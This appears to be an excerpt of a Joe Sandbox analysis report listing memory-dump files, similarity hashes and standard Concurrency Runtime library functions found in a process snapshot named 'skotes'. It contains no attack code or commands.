Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 84e16e52f2e5dd7edd4d49a1da32014e18c9ba7828af1385543391a32b268682
Instruction ID: 25c9cbfb67e82b4c33cee6ca6997177a49d8a1f56312b099438a9af389f931a0
Opcode Fuzzy Hash: 84e16e52f2e5dd7edd4d49a1da32014e18c9ba7828af1385543391a32b268682
Instruction Fuzzy Hash: AC2186769085159FDB05EF64D882DAEB7F4EF06310B2040FAF152AB261EB316E41DB51

Function 00BAA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 00BAA069

Part of subcall function 00BAB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 00BAB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 00BAA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 00BAA0CB

Part of subcall function 00BAAB41: List.LIBCONCRT ref: 00BAAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 00BAA0DB

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 80d5020e3c02941e51385a6efc48ae37892b1f034232644334dda79f99e56411
Instruction ID: 3af686960b2d00df58466a8be4f28b9f74d8a9dfc4304d4f3cf53b0d59cdc03d
Opcode Fuzzy Hash: 80d5020e3c02941e51385a6efc48ae37892b1f034232644334dda79f99e56411
Instruction Fuzzy Hash: 0621CC31904B149FCB24EF65D9908ABF3F9FF59700700499EE442A7662DB34F905CBA2

Function 00BA4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00BA4893
ListArray.LIBCONCRT ref: 00BA48A5

Part of subcall function 00BA5555: _InternalDeleteHelper.LIBCONCRT ref: 00BA5564

ListArray.LIBCONCRT ref: 00BA48AF
_InternalDeleteHelper.LIBCONCRT ref: 00BA48C8

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: a68d3a7bf193357075a08daca5191dd46aa0f829e350d55a7b52444ad210b668
Instruction ID: e62f1a2001ec3c3c469fe29ab09fd47090541995929226ac06b099e4356331b5
Opcode Fuzzy Hash: a68d3a7bf193357075a08daca5191dd46aa0f829e350d55a7b52444ad210b668
Instruction Fuzzy Hash: 6501D632604521AFCF257B65D8C2E6EB7EAFF9671030001B9F40457616CF65EC2187A0

Function 00BAEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00BAEE6A
ListArray.LIBCONCRT ref: 00BAEE7C

Part of subcall function 00BAEF29: _InternalDeleteHelper.LIBCONCRT ref: 00BAEF3B

ListArray.LIBCONCRT ref: 00BAEE86
_InternalDeleteHelper.LIBCONCRT ref: 00BAEE9F

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 6a25f0ee1de02ccc953168f920833bc899b530d674fcf50302521ae3f6f34086
Instruction ID: 3a2a2feee25eb787cfab5ae9ef83782e5dc8c165ba31037b56701a1bea4b05e1
Opcode Fuzzy Hash: 6a25f0ee1de02ccc953168f920833bc899b530d674fcf50302521ae3f6f34086
Instruction Fuzzy Hash: 65018132704621AFDE267B61D8C2D6EFBE9FF8671170504B9F41497612CB21FC2196E0

Function 00BAD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00BAD0C5
ListArray.LIBCONCRT ref: 00BAD0D7

Part of subcall function 00BAC6B2: _InternalDeleteHelper.LIBCONCRT ref: 00BAC6C4

ListArray.LIBCONCRT ref: 00BAD0E1
_InternalDeleteHelper.LIBCONCRT ref: 00BAD0FA

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: ac9c4d322ab6c0126d7dcc229ac1536e3ba2da4979299a318e370ce3e1301c38
Instruction ID: 4c666f796d9e3bb4be970dc1106cd71ca897ab04bfa1b68d29b8c87fb687cd57
Opcode Fuzzy Hash: ac9c4d322ab6c0126d7dcc229ac1536e3ba2da4979299a318e370ce3e1301c38
Instruction Fuzzy Hash: A701F932304521BFCE25BBA5C9D2D6EBBE9FF4671070004B9F40597A11CF20EC5186E0

Function 00BB33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00BB33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00BB33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00BB3407
